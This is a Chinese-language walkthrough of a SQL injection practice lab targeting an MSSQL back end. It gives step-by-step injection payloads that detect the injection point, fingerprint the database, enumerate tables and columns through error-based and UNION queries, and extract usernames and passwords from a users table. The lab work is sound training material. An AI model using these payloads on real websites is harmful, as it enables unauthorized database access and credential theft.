1.点击install to start初始化
2.点击Go to inject开始靶场
3.在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型
?id=1’ //报错,存在注入
?id=1' --+ //正常显示
所以是字符型注入 闭合方式是' --+
4.可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执行说明后台数据库MSSQL;也可根据页面报错信息来判断数据库
这里要使用exists()函数来确定是否为mssql数据库
所需语句:
?id=1' and exists(select *from sysobjects) --+ //回显正常
5. 查询数据库信息
使用语句:
?id=-1' union select 1,user,3 --+
通过联合查询得到该数据库的user是dbo最高权限,同时也得到了回显点
6.通过语句来猜解有哪些表...从⽽获取⽬标站点的表信息...
利用cast()强制转换得到报错进行表名查询
?id=-1'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--+
通过网站的报错得到第一个表名为users
7.查到第一个表后,进行之后表的查询
?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+
通过 name !='users'这种排除条件,排除查到的第一个表,这样就得到了第二张表名email
以此类推,通过更改参数,就可以得到之后的所有表名
第三张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--+
第四张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+
第五张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents' and name !='referer
s') //第五张返回为空,则代表一共有四张表。
8.通过以下语句爆出表下的所有字段信息
使用语句:
?id=-1'having 1=1--+
得到的user.id就是user的第一个字段
通过group by 进行之后的字段名查询
?id=-1'group by id having 1=1--+
得到的users.username就是users的第二个字段
依次在group by后买你加上查询到的字段,就可以查到之后的字段
9.查询字段值
首先判断列数
?id=1' order by 3--+ //显示正常
?id=1' order by 4--+ //此时报错
所以一共有三列
其次,查询字段值
语法就是
select+字段名+from+表名
查询语句:
-1' union all select 1,(select top 1 username from users),(select top 1 password from users)--+
得到用户名和密码。
更改参数就可以得到其他的用户名和密码。